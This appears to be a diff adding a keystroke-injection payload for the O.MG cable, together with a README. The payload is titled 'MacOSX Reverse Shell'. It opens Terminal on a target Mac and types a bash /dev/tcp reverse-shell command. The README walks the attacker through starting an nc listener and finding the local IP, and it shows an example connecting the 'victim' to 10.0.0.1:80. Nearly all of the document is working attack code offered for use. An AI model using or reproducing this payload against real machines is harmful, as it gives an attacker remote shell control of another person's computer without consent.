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+# This is, at heart, is a simple reverse shell to gain access to another MacOSX device. I'm looking into creating a tight shell that can run like a daemon
+# but that is a wet dream atm.
+
+# FIRST STEP(s):
+# run "nc -l <any port>" on the attackers machine
+# This initialzes your computers listening protocol to look for TCP connections
+**IMPORTANT**
+# open another Terminal window and run "ipconfig getifaddr en0" to obtain your computers local ip (this is important for the next step)
+
+# NEXT STEP:
+# Then simply run the script in your O.MG UI when the cable is connected
+
+# An example of the code run on the attackers computer:
+    nc -l 80
+
+# An example of the code run on the victims computer:
+    bash -i >& /dev/tcp/10.0.0.1/80 0>&1
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+REM Title: MacOSX Reverse Shell (v1.0)
+REM Author: fatherthomas
+REM Description: Allows you to traverse through any MacOS system and use bash commands to do what you please
+REM Target: MacOS Monterey (or older versions)
+REM Version: 1.0
+
+GUI SPACE
+DELAY 100
+STRING Terminal
+DELAY 200
+ENTER
+DELAY 900
+STRING bash
+DELAY 100
+ENTER
+DELAY 500
+STRING bash -i >& /dev/tcp/<attacker ip>/<port> 0>&1
+DELAY 200
+ENTER
+DELAY 1000
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